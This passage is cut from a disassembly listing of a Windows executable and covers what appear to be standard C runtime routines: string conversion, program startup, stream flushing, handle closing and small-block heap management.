loc_419B21:				; CODE XREF: sub_419A9C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_419B2A:				; CODE XREF: sub_419A9C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4D8788
		call	sub_41E3D5
		add	esp, 20h
		test	eax, eax
		jz	short loc_419AF9
		cmp	eax, esi
		jnz	short loc_419B55
		movzx	eax, [ebp+var_4]
		jmp	short loc_419B62
; ---------------------------------------------------------------------------


loc_419B55:				; CODE XREF: sub_419A9C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_419B62:				; CODE XREF: sub_419A9C+16j
					; sub_419A9C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419A9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B67	proc near		; CODE XREF: sub_415679+ADp
					; sub_4165F1+55p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_419B7E


loc_419B74:				; CODE XREF: sub_419B67+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_419B74


loc_419B7E:				; CODE XREF: sub_419B67+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_419B67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B84	proc near		; CODE XREF: sub_415679+7Fp
					; sub_415679+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_419C51
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_419C7E
		cmp	dword_4D8788, esi
		jnz	short loc_419BD5
		cmp	edi, esi
		jbe	loc_419C7E


loc_419BB4:				; CODE XREF: sub_419B84+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_419C7E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_419BB4
		jmp	loc_419C7E
; ---------------------------------------------------------------------------


loc_419BD5:				; CODE XREF: sub_419B84+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_423164
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4D8798
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_419C7D
		call	dword_42308C	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_419C0F


loc_419C00:				; CODE XREF: sub_419B84+CBj
					; sub_419B84+F7j
		mov	dword_4D86D0, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419C7E
; ---------------------------------------------------------------------------


loc_419C0F:				; CODE XREF: sub_419B84+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_419C17:				; CODE XREF: sub_419B84+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419C39
		mov	edx, off_43AB80
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419C2E
		inc	eax


loc_419C2E:				; CODE XREF: sub_419B84+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_419C17


loc_419C39:				; CODE XREF: sub_419B84+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4D8798
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_419C7E
		jmp	short loc_419C00
; ---------------------------------------------------------------------------


loc_419C51:				; CODE XREF: sub_419B84+Fj
		cmp	dword_4D8788, esi
		jnz	short loc_419C64
		push	[ebp+arg_4]
		call	sub_4176F0
		pop	ecx
		jmp	short loc_419C7E
; ---------------------------------------------------------------------------


loc_419C64:				; CODE XREF: sub_419B84+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4D8798
		call	dword_423164	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_419C00


loc_419C7D:				; CODE XREF: sub_419B84+6Bj
		dec	eax


loc_419C7E:				; CODE XREF: sub_419B84+1Aj
					; sub_419B84+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_419B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C83	proc near		; CODE XREF: start+272j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423708
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_423198	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_4D86E8, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_4D86E4, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_4D86E0, ecx
		shr	eax, 10h
		mov	dword_4D86DC, eax
		xor	esi, esi
		push	esi
		call	sub_419FAD
		pop	ecx
		test	eax, eax
		jnz	short loc_419CEF
		push	1Ch
		call	sub_419D9E
		pop	ecx


loc_419CEF:				; CODE XREF: sub_419C83+62j
		mov	[ebp+var_4], esi
		call	sub_41EC38
		call	dword_423194	; GetCommandLineA
		mov	dword_4D9D64, eax
		call	sub_41EB06
		mov	dword_4D8740, eax
		call	sub_41E8B9
		call	sub_41E800
		call	sub_417C94
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_423190	; GetStartupInfoA
		call	sub_41E7A8
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_419D3C
		movzx	eax, [ebp+var_2C]
		jmp	short loc_419D3F
; ---------------------------------------------------------------------------


loc_419D3C:				; CODE XREF: sub_419C83+B1j
		push	0Ah
		pop	eax


loc_419D3F:				; CODE XREF: sub_419C83+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	dword_42309C	; GetModuleHandleA
		push	eax
		call	sub_401221
		mov	[ebp+var_60], eax
		push	eax
		call	sub_417CC1
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_41E624
		pop	ecx
		pop	ecx
		retn
sub_419C83	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_417CD2

; =============== S U B	R O U T	I N E =======================================



sub_419D79	proc near		; CODE XREF: sub_419552+16p
					; sub_41E800+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_4D8748, 1
		jnz	short loc_419D87
		call	sub_41EEC4


loc_419D87:				; CODE XREF: sub_419D79+7j
		push	[esp+arg_0]
		call	sub_41EEFD
		push	0FFh
		call	off_43AB70
		pop	ecx
		pop	ecx
		retn
sub_419D79	endp


; =============== S U B	R O U T	I N E =======================================



sub_419D9E	proc near		; CODE XREF: sub_419C83+66p

arg_0		= dword	ptr  4

		cmp	dword_4D8748, 1
		jnz	short loc_419DAC
		call	sub_41EEC4


loc_419DAC:				; CODE XREF: sub_419D9E+7j
		push	[esp+arg_0]
		call	sub_41EEFD
		pop	ecx
		push	0FFh
		call	dword_423064	; ExitProcess
		retn
sub_419D9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_419DC2	proc near		; CODE XREF: sub_41776B+2Ap
					; sub_41F514+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4D9B20
		jnb	loc_419E5C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4D9A20h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_419E5C
		push	edi
		call	sub_41F1D6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_419E3B
		cmp	edi, 1
		jz	short loc_419E09
		cmp	edi, 2
		jnz	short loc_419E1F


loc_419E09:				; CODE XREF: sub_419DC2+40j
		push	2
		call	sub_41F1D6
		push	1
		mov	ebp, eax
		call	sub_41F1D6
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_419E3B


loc_419E1F:				; CODE XREF: sub_419DC2+45j
		push	edi
		call	sub_41F1D6
		pop	ecx
		push	eax
		call	dword_423068	; CloseHandle
		test	eax, eax
		jnz	short loc_419E3B
		call	dword_42308C	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_419E3D
; ---------------------------------------------------------------------------


loc_419E3B:				; CODE XREF: sub_419DC2+3Bj
					; sub_419DC2+5Bj ...
		xor	ebp, ebp


loc_419E3D:				; CODE XREF: sub_419DC2+77j
		push	edi
		call	sub_41F15C
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_419E58
		push	ebp
		call	sub_41BEC4
		pop	ecx
		jmp	short loc_419E6D
; ---------------------------------------------------------------------------


loc_419E58:				; CODE XREF: sub_419DC2+8Bj
		xor	eax, eax
		jmp	short loc_419E70
; ---------------------------------------------------------------------------


loc_419E5C:				; CODE XREF: sub_419DC2+Ej
					; sub_419DC2+2Fj
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 9


loc_419E6D:				; CODE XREF: sub_419DC2+94j
		or	eax, 0FFFFFFFFh


loc_419E70:				; CODE XREF: sub_419DC2+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_419DC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_419E75	proc near		; CODE XREF: sub_41776B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_419E9E
		test	al, 8
		jz	short loc_419E9E
		push	dword ptr [esi+8]
		call	sub_4177C1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_419E9E:				; CODE XREF: sub_419E75+Aj
					; sub_419E75+Ej
		pop	esi
		retn
sub_419E75	endp


; =============== S U B	R O U T	I N E =======================================



sub_419EA0	proc near		; CODE XREF: sub_419F40+2Dp
					; sub_419F40+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_419EB2
		push	esi
		call	sub_419F40
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419EB2:				; CODE XREF: sub_419EA0+7j
		push	esi
		call	sub_419EDB
		test	eax, eax
		pop	ecx
		jz	short loc_419EC2
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_419EC2:				; CODE XREF: sub_419EA0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_419ED7
		push	dword ptr [esi+10h]
		call	sub_41F213
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_419ED7:				; CODE XREF: sub_419EA0+26j
		xor	eax, eax
		pop	esi
		retn
sub_419EA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419EDB	proc near		; CODE XREF: sub_41776B+1Ap
					; sub_4196EC+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_419F28
		test	ax, 108h
		jz	short loc_419F28
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_419F28
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41F26A
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_419F21
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_419F28
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_419F28
; ---------------------------------------------------------------------------


loc_419F21:				; CODE XREF: sub_419EDB+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_419F28:				; CODE XREF: sub_419EDB+14j
					; sub_419EDB+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_419EDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F37	proc near		; CODE XREF: sub_41F4BCp
		push	1
		call	sub_419F40
		pop	ecx
		retn
sub_419F37	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F40	proc near		; CODE XREF: sub_419EA0+Ap
					; sub_419F37+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4D9A00, esi
		jle	short loc_419F9E


loc_419F51:				; CODE XREF: sub_419F40+5Cj
		mov	eax, dword_4D89E0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_419F95
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_419F95
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_419F7B
		push	eax
		call	sub_419EA0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_419F95
		inc	ebx
		jmp	short loc_419F95
; ---------------------------------------------------------------------------


loc_419F7B:				; CODE XREF: sub_419F40+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_419F95
		test	cl, 2
		jz	short loc_419F95
		push	eax
		call	sub_419EA0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_419F95
		or	edi, eax


loc_419F95:				; CODE XREF: sub_419F40+1Bj
					; sub_419F40+23j ...
		inc	esi
		cmp	esi, dword_4D9A00
		jl	short loc_419F51


loc_419F9E:				; CODE XREF: sub_419F40+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_419FA9
		mov	eax, edi


loc_419FA9:				; CODE XREF: sub_419F40+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_419F40	endp


; =============== S U B	R O U T	I N E =======================================



sub_419FAD	proc near		; CODE XREF: sub_419C83+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_4231A0	; HeapCreate
		test	eax, eax
		mov	dword_4D9D60, eax
		jz	short loc_419FE2
		call	sub_419FE9
		test	eax, eax
		jnz	short loc_419FE5
		push	dword_4D9D60
		call	dword_42319C	; HeapDestroy


loc_419FE2:				; CODE XREF: sub_419FAD+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_419FE5:				; CODE XREF: sub_419FAD+27j
		push	1
		pop	eax
		retn
sub_419FAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_419FE9	proc near		; CODE XREF: sub_419FAD+20p
		push	140h
		push	0
		push	dword_4D9D60
		call	dword_423180	; RtlAllocateHeap
		test	eax, eax
		mov	dword_4D9D5C, eax
		jnz	short loc_41A006
		retn
; ---------------------------------------------------------------------------


loc_41A006:				; CODE XREF: sub_419FE9+1Aj
		and	dword_4D9D54, 0
		and	dword_4D9D58, 0
		push	1
		mov	dword_4D9D50, eax
		mov	dword_4D9D48, 10h
		pop	eax
		retn
sub_419FE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A027	proc near		; CODE XREF: sub_4177C1+Ap
					; sub_4178D8+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4D9D58
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4D9D5C
		lea	ecx, [eax+ecx*4]


loc_41A037:				; CODE XREF: sub_41A027+26j
		cmp	eax, ecx
		jnb	short loc_41A04F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41A051
		add	eax, 14h
		jmp	short loc_41A037
; ---------------------------------------------------------------------------


loc_41A04F:				; CODE XREF: sub_41A027+12j
		xor	eax, eax

locret_41A051:				; CODE XREF: sub_41A027+21j
		retn
sub_41A027	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A052	proc near		; CODE XREF: sub_4177C1+16p
					; sub_4178D8+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_41A118
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_41A0AA
		mov	[ebp+arg_4], edi


loc_41A0AA:				; CODE XREF: sub_41A052+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_41A0FC
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41A0D8
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_41A0FC
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_41A0FC
; ---------------------------------------------------------------------------


loc_41A0D8:				; CODE XREF: sub_41A052+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_41A0FC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_41A0FC:				; CODE XREF: sub_41A052+60j
					; sub_41A052+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_41A118:				; CODE XREF: sub_41A052+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_41A126
		push	3Fh
		pop	edi


loc_41A126:				; CODE XREF: sub_41A052+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_41A1D5
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_41A151
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_41A151:				; CODE XREF: sub_41A052+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_41A163
		mov	edi, edx


loc_41A163:				; CODE XREF: sub_41A052+10Dj
		cmp	ecx, edi
		jz	short loc_41A1D2
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_41A1BA
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41A196
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_41A1BA
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_41A1BA
; ---------------------------------------------------------------------------


loc_41A196:				; CODE XREF: sub_41A052+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_41A1BA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_41A1BA:				; CODE XREF: sub_41A052+11Ej
					; sub_41A052+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_41A1D2:				; CODE XREF: sub_41A052+113j
		mov	edx, [ebp+var_8]


loc_41A1D5:				; CODE XREF: sub_41A052+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_41A1E4
		cmp	[ebp+arg_4], edi
		jz	loc_41A26D


loc_41A1E4:				; CODE XREF: sub_41A052+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41A26D
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41A241
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41A230
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41A230:				; CODE XREF: sub_41A052+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_41A26A
; ---------------------------------------------------------------------------


loc_41A241:				; CODE XREF: sub_41A052+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41A257
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41A257:				; CODE XREF: sub_41A052+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_41A26A:				; CODE XREF: sub_41A052+1EDj
		mov	ebx, [ebp+var_C]


loc_41A26D:				; CODE XREF: sub_41A052+18Cj
					; sub_41A052+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_41A378
		mov	eax, dword_4D9D54
		test	eax, eax
		jz	loc_41A36A
		mov	ecx, dword_4D9D4C
		mov	edi, dword_4231A4
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi	; VirtualFree
		mov	ecx, dword_4D9D4C
		mov	eax, dword_4D9D54
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4D9D54
		mov	ecx, dword_4D9D4C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4D9D54
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4D9D54
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41A2F8
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4D9D54


loc_41A2F8:				; CODE XREF: sub_41A052+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41A36A
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi	; VirtualFree
		mov	eax, dword_4D9D54
		push	dword ptr [eax+10h]
		push	0
		push	dword_4D9D60
		call	dword_423178	; RtlFreeHeap
		mov	eax, dword_4D9D58
		mov	edx, dword_4D9D5C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4D9D54
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_419190
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4D9D58
		cmp	eax, dword_4D9D54
		jbe	short loc_41A35C
		sub	eax, 14h


loc_41A35C:				; CODE XREF: sub_41A052+305j
		mov	ecx, dword_4D9D5C
		mov	dword_4D9D50, ecx
		jmp	short loc_41A36D
; ---------------------------------------------------------------------------


loc_41A36A:				; CODE XREF: sub_41A052+233j
					; sub_41A052+2AAj
		mov	eax, [ebp+arg_0]


loc_41A36D:				; CODE XREF: sub_41A052+316j
		mov	dword_4D9D54, eax
		mov	dword_4D9D4C, esi


loc_41A378:				; CODE XREF: sub_41A052+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A37D	proc near		; CODE XREF: sub_4178D8+69p
					; sub_417A69+Ep ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4D9D58
		mov	edx, dword_4D9D5C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41A3BD
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41A3CD
; ---------------------------------------------------------------------------


loc_41A3BD:				; CODE XREF: sub_41A37D+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41A3CD:				; CODE XREF: sub_41A37D+3Ej
		mov	eax, dword_4D9D50
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41A3F4


loc_41A3DB:				; CODE XREF: sub_41A37D+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41A3F4
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41A3DB


loc_41A3F4:				; CODE XREF: sub_41A37D+5Cj
					; sub_41A37D+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41A472
		mov	ebx, edx


loc_41A3FB:				; CODE XREF: sub_41A37D+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41A417
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41A415
		add	ebx, 14h
		jmp	short loc_41A3FB
; ---------------------------------------------------------------------------


loc_41A415:				; CODE XREF: sub_41A37D+91j
		cmp	ebx, eax


loc_41A417:				; CODE XREF: sub_41A37D+83j
		jnz	short loc_41A472


loc_41A419:				; CODE XREF: sub_41A37D+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41A42F
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41A42C
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41A419
; ---------------------------------------------------------------------------


loc_41A42C:				; CODE XREF: sub_41A37D+A5j
		cmp	ebx, [ebp+var_4]


loc_41A42F:				; CODE XREF: sub_41A37D+9Fj
		jnz	short loc_41A457
		mov	ebx, edx


loc_41A433:				; CODE XREF: sub_41A37D+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41A447
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41A445
		add	ebx, 14h
		jmp	short loc_41A433
; ---------------------------------------------------------------------------


loc_41A445:				; CODE XREF: sub_41A37D+C1j
		cmp	ebx, eax


